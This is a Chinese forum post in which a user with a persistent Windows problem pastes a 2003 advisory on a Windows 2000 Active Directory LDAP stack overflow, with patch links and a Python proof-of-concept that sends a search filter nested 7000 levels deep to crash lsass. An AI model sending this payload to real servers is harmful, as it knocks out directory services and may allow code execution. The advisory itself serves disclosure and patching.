系统都格式化了啊。。。。还是有问题
刚才去找了lsaas.exe
描述如下,可能是被黑客中了后门了,漏洞攻击。
Microsoft Windows 2000活动目录远程堆栈溢出漏洞
发布时间:2003-07-02
更新时间:2003-07-02
严重程度:高
威胁程度:远程管理员权限
错误类型:边界检查错误
利用方式:服务器模式
BUGTRAQ ID:7930
受影响系统
Microsoft Windows 2000 Advanced Server SP3
Microsoft Windows 2000 Datacenter Server SP3
Microsoft Windows 2000 Server SP3
详细描述
活动目录是W2K组件。由活动目录提供的目录服务基于LDAP协议,因此活动目录对象可以通过使用LDAP协议存储和获得。
当使用1000个“AND”的LDAP 3搜索请求发送给服务器,会导致Lsaas.exe服务崩溃,攻击者只要建立'search request'请求给目录服务器,可能导致任意代码执行。
测试代码
Python script演示如下:
------------------------------------
class ActiveDirectoryDOS( Ldap ):
def __init__(self):
self._s = None
self.host = '192.168.0.1'
self.basedn = 'dc=bugweek,dc=corelabs,dc=core-sdi,dc=com'
self.port = 389
self.buffer = ''
self.msg_id = 1
Ldap.__init__()
def generateFilter_BinaryOp( self, filter ):
filterBuffer = asn1.OCTETSTRING(filter[1]).encode() + asn1.OCTETSTRING(filter[2]).encode()
filterBuffer = self.encapsulateHeader( filter[0], filterBuffer )
return filterBuffer
def generateFilter_RecursiveBinaryOp( self, filter, numTimes):
simpleBinOp = self.generateFilter_BinaryOp( filter )
filterBuffer = simpleBinOp
for cnt in range( 0, numTimes ):
filterBuffer = self.encapsulateHeader( self.LDAP_FILTER_AND, filterBuffer + simpleBinOp )
return filterBuffer
def searchSub( self, filterBuffer ):
self.bindRequest()
self.searchRequest( filterBuffer )
def run(self, host = '', basedn = '', name = '' ):
# the machine must not exist
machine_name = 'xaxax'
filterComputerNotInDir = (Ldap.LDAP_FILTER_EQUALITY,'name',machine_name)
# execute the anonymous query
print 'executing query'
filterBuffer = self.generateFilter_RecursiveBinaryOp( filterComputerNotInDir, 7000 )
self.searchSub( filterBuffer )
------------------------------------
解决方案
补丁下载:
Microsoft Windows 2000 Server SP3:
Microsoft Upgrade Windows 2000 SP4
http://www.microsoft.com/windows2000/downloads/servicepacks/sp4/default.asp
Microsoft Windows 2000 Advanced Server SP3:
Microsoft Upgrade Windows 2000 SP4
http://www.microsoft.com/windows2000/downloads/servicepacks/sp4/default.asp
相关信息
参考:http://www.securityfocus.com/advisories/5544
相关主页:http://www.microsoft.com/windows2000/technologies/directory/ad/default.asp